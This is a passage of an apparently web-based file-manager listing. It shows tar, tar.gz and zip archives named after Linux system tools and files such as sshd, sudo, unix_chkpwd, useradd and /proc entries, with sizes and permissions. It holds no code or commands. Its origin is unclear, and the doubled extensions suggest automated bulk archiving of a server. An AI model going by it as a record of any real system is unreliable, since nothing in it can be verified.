sg_sat_set_features.tar File 20.5 KB 0644
sg_sat_set_features.tar.gz File 5.46 KB 0644
sg_ses_microcode.tar File 29 KB 0644
sg_ses_microcode.tar.gz File 10.11 KB 0644
sg_sync.tar File 16.5 KB 0644
sg_sync.tar.gz File 4.5 KB 0644
sg_vpd.tar File 116 KB 0644
sg_vpd.tar.gz File 44.28 KB 0644
sg_wr_mode.tar File 24.5 KB 0644
sg_wr_mode.tar.gz File 7.38 KB 0644
sg_write_verify.tar File 28.5 KB 0644
sg_write_verify.tar.gz File 7.22 KB 0644
sg_write_x.tar File 57.5 KB 0644
sg_write_x.tar.gz File 20.81 KB 0644
sgdisk.tar File 164 KB 0644
sgdisk.tar.gz File 73.45 KB 0644
sha256sum.tar File 52 KB 0644
sha256sum.tar.gz File 22.17 KB 0644
sha512sum.tar File 60 KB 0644
sha512sum.tar.gz File 24.1 KB 0644
shablon-akta-sverki-1-1.docx.docx.tar.gz File 22.85 KB 0644
shablon-akta-sverki-1-1.docx.tar File 58 KB 0644
shasum.tar File 11.5 KB 0644
shasum.tar.gz File 4.06 KB 0644
shm.tar File 2.5 KB 0644
shm.tar.gz File 265 B 0644
showconsolefont.tar File 20 KB 0644
showconsolefont.tar.gz File 6.97 KB 0644
shutdown.tar File 1.07 MB 0644
shutdown.tar.gz File 508.75 KB 0644
skel.tar File 8 KB 0644
skel.tar.gz File 2.18 KB 0644
slabtop.tar File 24 KB 0644
slabtop.tar.gz File 7.01 KB 0644
smaps.tar File 5 KB 0644
smaps.tar.gz File 76 B 0644
smaps_rollup.tar File 6 KB 0644
smaps_rollup.tar.gz File 83 B 0644
snapd.tar File 32.5 KB 0644
snapd.tar.gz File 29.77 KB 0644
snapd.zip File 2.29 KB 0644
snapfuse.tar File 40 KB 0644
snapfuse.tar.gz File 15.45 KB 0644
snice.tar File 32 KB 0644
snice.tar.gz File 9.86 KB 0644
soelim.tar File 32 KB 0644
soelim.tar.gz File 14.39 KB 0644
sos-collector.tar File 3 KB 0644
sos-collector.tar.gz File 713 B 0644
sosreport.tar File 3 KB 0644
sosreport.tar.gz File 705 B 0644
split.tar File 52.5 KB 0644
split.tar.gz File 21.93 KB 0644
splitfont.tar File 16 KB 0644
splitfont.tar.gz File 2.97 KB 0644
squashfs-tools.zip File 2.56 KB 0644
src.tar File 100.52 MB 0644
src.tar.gz File 22.38 MB 0644
ssh-add.tar File 168 KB 0644
ssh-add.tar.gz File 77.31 KB 0644
ssh-agent.tar File 288 KB 0644
ssh-agent.tar.gz File 120.2 KB 0644
ssh.tar File 829 KB 0644
ssh.tar.gz File 379.08 KB 0644
sshd.tar File 901.5 KB 0644
sshd.tar.gz File 412.18 KB 0644
stat.tar File 86.5 KB 0644
stat.tar.gz File 165 B 0644
stat.zip File 1.95 KB 0644
statm.tar File 5 KB 0644
statm.tar.gz File 91 B 0644
status.tar File 10.5 KB 0644
status.tar.gz File 422 B 0644
stdbuf.tar File 44.5 KB 0644
stdbuf.tar.gz File 18.33 KB 0644
subgid.tar File 2 KB 0644
subgid.tar.gz File 112 B 0644
sudo.tar File 228.5 KB 0644
sudo.tar.gz File 100.2 KB 0644
sudo_logsrvd.conf.conf.tar.gz File 2.96 KB 0644
sudo_logsrvd.conf.tar File 11 KB 0644
sudo_logsrvd.tar File 202 KB 0644
sudo_logsrvd.tar.gz File 83.83 KB 0644
sudo_sendlog.tar File 109 KB 0644
sudo_sendlog.tar.gz File 41.41 KB 0644
sudoreplay.tar File 89.5 KB 0644
sudoreplay.tar.gz File 35.02 KB 0644
swapoff.tar File 24 KB 0644
swapoff.tar.gz File 6.6 KB 0644
swaps.tar File 2 KB 0644
swaps.tar.gz File 152 B 0644
switch_root.tar File 24 KB 0644
switch_root.tar.gz File 4.95 KB 0644
sysstat.zip File 8.42 KB 0644
systemctl.tar File 1.07 MB 0644
systemctl.tar.gz File 508.74 KB 0644
systemd-ask-password.tar File 20 KB 0644
systemd-ask-password.tar.gz File 5.26 KB 0644
systemd-cgls.tar File 24 KB 0644
systemd-cgls.tar.gz File 5.91 KB 0644
systemd-cgtop.tar File 40 KB 0644
systemd-cgtop.tar.gz File 12.93 KB 0644
systemd-escape.tar File 24 KB 0644
systemd-escape.tar.gz File 5.59 KB 0644
systemd-hwdb.tar File 120.5 KB 0644
systemd-hwdb.tar.gz File 56.12 KB 0644
systemd-inhibit.tar File 24 KB 0644
systemd-inhibit.tar.gz File 6.98 KB 0644
systemd-mount.tar File 52.5 KB 0644
systemd-mount.tar.gz File 19.8 KB 0644
systemd-run.tar File 64.5 KB 0644
systemd-run.tar.gz File 22.03 KB 0644
tabs.tar File 20 KB 0644
tabs.tar.gz File 6.39 KB 0644
tapestat.tar File 28 KB 0644
tapestat.tar.gz File 9.16 KB 0644
tarcat.tar File 2.5 KB 0644
tarcat.tar.gz File 607 B 0644
tbl.tar File 128 KB 0644
tbl.tar.gz File 53.02 KB 0644
tc.tar File 616 KB 0644
tc.tar.gz File 263.82 KB 0644
telnet.tar File 109.5 KB 0644
telnet.tar.gz File 45.18 KB 0644
thin_ls.tar File 1.33 MB 0644
thin_ls.tar.gz File 510.81 KB 0644
thin_metadata_size.tar File 1.33 MB 0644
thin_metadata_size.tar.gz File 510.82 KB 0644
thin_rmap.tar File 1.33 MB 0644
thin_rmap.tar.gz File 510.81 KB 0644
thin_trim.tar File 1.33 MB 0644
thin_trim.tar.gz File 510.81 KB 0644
timedatectl.tar File 48 KB 0644
timedatectl.tar.gz File 15.88 KB 0644
timens_offsets.tar File 3 KB 0644
timens_offsets.tar.gz File 122 B 0644
timers.tar File 5 KB 0644
timers.tar.gz File 77 B 0644
timerslack_ns.tar File 4 KB 0644
timerslack_ns.tar.gz File 86 B 0644
timesync.tar File 1.5 KB 0644
timesync.tar.gz File 75 B 0644
tipc.tar File 92 KB 0644
tipc.tar.gz File 35.1 KB 0644
tkconch3.tar File 2.5 KB 0644
tkconch3.tar.gz File 556 B 0644
tload.tar File 20 KB 0644
tload.tar.gz File 5.09 KB 0644
tmpfiles.d.tar File 2 KB 0644
tmpfiles.d.tar.gz File 239 B 0644
tmpfiles.d.zip File 15.58 KB 0644
tmux.tar File 16 KB 0644
tmux.tar.gz File 6.08 KB 0644
tnftp.tar File 25 KB 0644
tnftp.tar.gz File 7.91 KB 0644
tr.tar File 48.5 KB 0644
tr.tar.gz File 18.09 KB 0644
trial3.tar File 2.5 KB 0644
trial3.tar.gz File 556 B 0644
troff.tar File 720.5 KB 0644
troff.tar.gz File 257.09 KB 0644
true.tar File 28 KB 0644
true.tar.gz File 9.52 KB 0644
truncate.tar File 36.5 KB 0644
truncate.tar.gz File 13.33 KB 0644
tsort.tar File 48.5 KB 0644
tsort.tar.gz File 17.71 KB 0644
tune2fs.tar File 104.5 KB 0644
tune2fs.tar.gz File 44.96 KB 0644
tzconfig.tar File 2 KB 0644
tzconfig.tar.gz File 180 B 0644
ubuntu-advantage.tar File 2 KB 0644
ubuntu-advantage.tar.gz File 142 B 0644
ubuntu-distro-info.tar File 24.5 KB 0644
ubuntu-distro-info.tar.gz File 8.03 KB 0644
ubuntu-drivers.tar File 20 KB 0644
ubuntu-drivers.tar.gz File 4.06 KB 0644
ucf.tar File 49.5 KB 0644
ucf.tar.gz File 10.9 KB 0644
ucf.zip File 30.67 KB 0644
udev.tar File 64.5 KB 0644
udev.tar.gz File 7.52 KB 0644
ufw.lock.lock.tar.gz File 75 B 0644
ufw.lock.tar File 1.5 KB 0644
ufw.tar File 6.5 KB 0644
ufw.tar.gz File 1.92 KB 0644
uid_map.tar File 5 KB 0644
uid_map.tar.gz File 108 B 0644
unicode_start.tar File 4.5 KB 0644
unicode_start.tar.gz File 1.43 KB 0644
unicode_stop.tar File 2.5 KB 0644
unicode_stop.tar.gz File 431 B 0644
unix_chkpwd.tar File 28 KB 0644
unix_chkpwd.tar.gz File 9.2 KB 0644
unix_update.tar File 32 KB 0644
unix_update.tar.gz File 11.88 KB 0644
unlink.tar File 32.5 KB 0644
unlink.tar.gz File 10.31 KB 0644
unxz.tar File 84.5 KB 0644
unxz.tar.gz File 33.92 KB 0644
update-ca-certificates.tar File 7 KB 0644
update-ca-certificates.tar.gz File 2.24 KB 0644
update-grub2.tar File 2 KB 0644
update-grub2.tar.gz File 152 B 0644
update-initramfs.tar File 8.5 KB 0644
update-initramfs.tar.gz File 2.3 KB 0644
update-java-alternatives.tar File 5 KB 0644
update-java-alternatives.tar.gz File 1.21 KB 0644
update-locale.tar File 4.5 KB 0644
update-locale.tar.gz File 1.38 KB 0644
update-passwd.tar File 36.5 KB 0644
update-passwd.tar.gz File 11.17 KB 0644
update-pciids.tar File 3.5 KB 0644
update-pciids.tar.gz File 847 B 0644
update-rc.d.d.tar.gz File 4.82 KB 0644
update-rc.d.tar File 18.5 KB 0644
upgrade-from-grub-legacy.tar File 3.5 KB 0644
upgrade-from-grub-legacy.tar.gz File 959 B 0644
uptime.tar File 16 KB 0644
uptime.tar.gz File 3.67 KB 0644
usbhid-dump.tar File 32 KB 0644
usbhid-dump.tar.gz File 9.29 KB 0644
useradd.tar File 129.5 KB 0644
useradd.tar.gz File 49.92 KB 0644
usermod.tar File 125 KB 0644
usermod.tar.gz File 49.68 KB 0644
users.tar File 37.5 KB 0644
users.tar.gz File 11.06 KB 0644
uuidd.tar File 32.5 KB 0644
uuidd.tar.gz File 9.76 KB 0644
v8-container.h.h.tar.gz File 1.97 KB 0644
v8-container.h.tar File 7.5 KB 0644
v8-source-location.h.h.tar.gz File 1011 B 0644
v8-source-location.h.tar File 4.5 KB 0644
v8-typed-array.h.h.tar.gz File 1.56 KB 0644
v8-typed-array.h.tar File 13 KB 0644
validlocale.tar File 3.5 KB 0644
validlocale.tar.gz File 950 B 0644
vcstime.tar File 16 KB 0644
vcstime.tar.gz File 2.29 KB 0644
vfio.tar File 1.5 KB 0644
vfio.tar.gz File 66 B 0644
vfio.zip File 142 B 0644
vgcfgbackup.tar File 2.89 MB 0644
vgcfgbackup.tar.gz File 932.16 KB 0644
vgcfgrestore.tar File 2.89 MB 0644
vgcfgrestore.tar.gz File 932.16 KB 0644
vgconvert.tar File 2.89 MB 0644
vgconvert.tar.gz File 932.16 KB 0644
vgcreate.tar File 2.89 MB 0644
vgcreate.tar.gz File 932.15 KB 0644
vgdisplay.tar File 2.89 MB 0644
vgdisplay.tar.gz File 932.16 KB 0644
vgexport.tar File 2.89 MB 0644
vgexport.tar.gz File 932.15 KB 0644
vgimportclone.tar File 2.89 MB 0644
vgimportclone.tar.gz File 932.16 KB 0644
vgmerge.tar File 2.89 MB 0644
vgmerge.tar.gz File 932.15 KB 0644
vgremove.tar File 2.89 MB 0644
vgremove.tar.gz File 932.15 KB 0644
vgrename.tar File 2.89 MB 0644
vgrename.tar.gz File 932.15 KB 0644
vgsplit.tar File 2.89 MB 0644
vgsplit.tar.gz File 932.15 KB 0644
viewres.tar File 33 KB 0644
viewres.tar.gz File 10.34 KB 0644
vim.basic.basic.tar.gz File 1.85 MB 0644
vim.basic.tar File 3.61 MB 0644
vimdiff.tar File 3.61 MB 0644
vimdiff.tar.gz File 1.85 MB 0644
vipw.tar File 58.5 KB 0644
vipw.tar.gz File 19.4 KB 0644
vmhgfs-fuse.tar File 48.5 KB 0644
vmhgfs-fuse.tar.gz File 20.11 KB 0644
vmware-checkvm.tar File 16 KB 0644
vmware-checkvm.tar.gz File 2.76 KB 0644
vmware-rpctool.tar File 20 KB 0644
vmware-rpctool.tar.gz File 6.88 KB 0644
wchan.tar File 6 KB 0644
wchan.tar.gz File 87 B 0644
wget.tar File 461 KB 0644
wget.tar.gz File 218.14 KB 0644
wgetrc.tar File 6.5 KB 0644
wgetrc.tar.gz File 2.25 KB 0644
whatis.tar File 49 KB 0644
whatis.tar.gz File 17.01 KB 0644
whiptail.tar File 32 KB 0644
whiptail.tar.gz File 11.12 KB 0644
wipefs.tar File 40 KB 0644
wipefs.tar.gz File 12.6 KB 0644
write.tar File 24 KB 0644
write.tar.gz File 6.44 KB 0644
x86_64-linux-gnu-ld.tar File 1.66 MB 0644
x86_64-linux-gnu-ld.tar.gz File 264.18 KB 0644
x86_64-linux-gnu-nm.tar File 45.5 KB 0644
x86_64-linux-gnu-nm.tar.gz File 18.56 KB 0644
xargs.tar File 64 KB 0644
xargs.tar.gz File 26.82 KB 0644
xauth.tar File 56.5 KB 0644
xauth.tar.gz File 20.24 KB 0644
xdpyinfo.tar File 41 KB 0644
xdpyinfo.tar.gz File 13.55 KB 0644
xfs_admin.tar File 3 KB 0644
xfs_admin.tar.gz File 728 B 0644
xfs_db.tar File 654 KB 0644
xfs_db.tar.gz File 295.77 KB 0644
xfs_estimate.tar File 16 KB 0644
xfs_estimate.tar.gz File 4.2 KB 0644
xfs_freeze.tar File 2.5 KB 0644
xfs_freeze.tar.gz File 515 B 0644
xfs_fsr.tar File 44 KB 0644
xfs_fsr.tar.gz File 18.24 KB 0644
xfs_growfs.tar File 40 KB 0644
xfs_growfs.tar.gz File 14.46 KB 0644
xfs_info.tar File 3 KB 0644
xfs_info.tar.gz File 791 B 0644
xfs_io.tar File 201.5 KB 0644
xfs_io.tar.gz File 92.66 KB 0644
xfs_metadump.tar File 2.5 KB 0644
xfs_metadump.tar.gz File 499 B 0644
xfs_quota.tar File 92 KB 0644
xfs_quota.tar.gz File 37.75 KB 0644
xfs_repair.tar File 601 KB 0644
xfs_repair.tar.gz File 299.49 KB 0644
xfs_rtcp.tar File 20 KB 0644
xfs_rtcp.tar.gz File 4.87 KB 0644
xfs_scrub.tar File 108 KB 0644
xfs_scrub.tar.gz File 48.07 KB 0644
xkill.tar File 16 KB 0644
xkill.tar.gz File 5.01 KB 0644
xlsclients.tar File 20 KB 0644
xlsclients.tar.gz File 6.18 KB 0644
xtables-legacy-multi.tar File 98.5 KB 0644
xtables-legacy-multi.tar.gz File 36.25 KB 0644
xtables-monitor.tar File 221 KB 0644
xtables-monitor.tar.gz File 91.05 KB 0644
xvinfo.tar File 20 KB 0644
xvinfo.tar.gz File 5.33 KB 0644
xzcat.tar File 84.5 KB 0644
xzcat.tar.gz File 33.92 KB 0644
xzcmp.tar File 8.5 KB 0644
xzcmp.tar.gz File 2.67 KB 0644
xzegrep.tar File 7.5 KB 0644
xzegrep.tar.gz File 2.62 KB 0644
xzless.tar File 3.5 KB 0644
xzless.tar.gz File 1.11 KB 0644
xzmore.tar File 4 KB 0644
xzmore.tar.gz File 1.2 KB 0644
zabbix-agent-timeweb.tar File 2 KB 0644
zabbix-agent-timeweb.tar.gz File 98 B 0644
zdiff.tar File 7.5 KB 0644
zdiff.tar.gz File 1.96 KB 0644
zerofree.tar File 16 KB 0644
zerofree.tar.gz File 3.41 KB 0644
zipdetails.tar File 60.5 KB 0644
zipdetails.tar.gz File 15.28 KB 0644
zipinfo.tar File 172 KB 0644
zipinfo.tar.gz File 81.22 KB 0644
zoneinfo-icu.tar File 466 KB 0644
zoneinfo-icu.tar.gz File 177.45 KB 0644
zstd.tar File 856.5 KB 0644
zstd.tar.gz File 376.92 KB 0644
zstdcat.tar File 856.5 KB 0644
zstdcat.tar.gz File 376.92 KB 0644
zstdless.tar File 2 KB 0644
zstdless.tar.gz File 115 B 0644
zstdmt.tar File 856.5 KB 0644
zstdmt.tar.gz File 376.92 KB 0644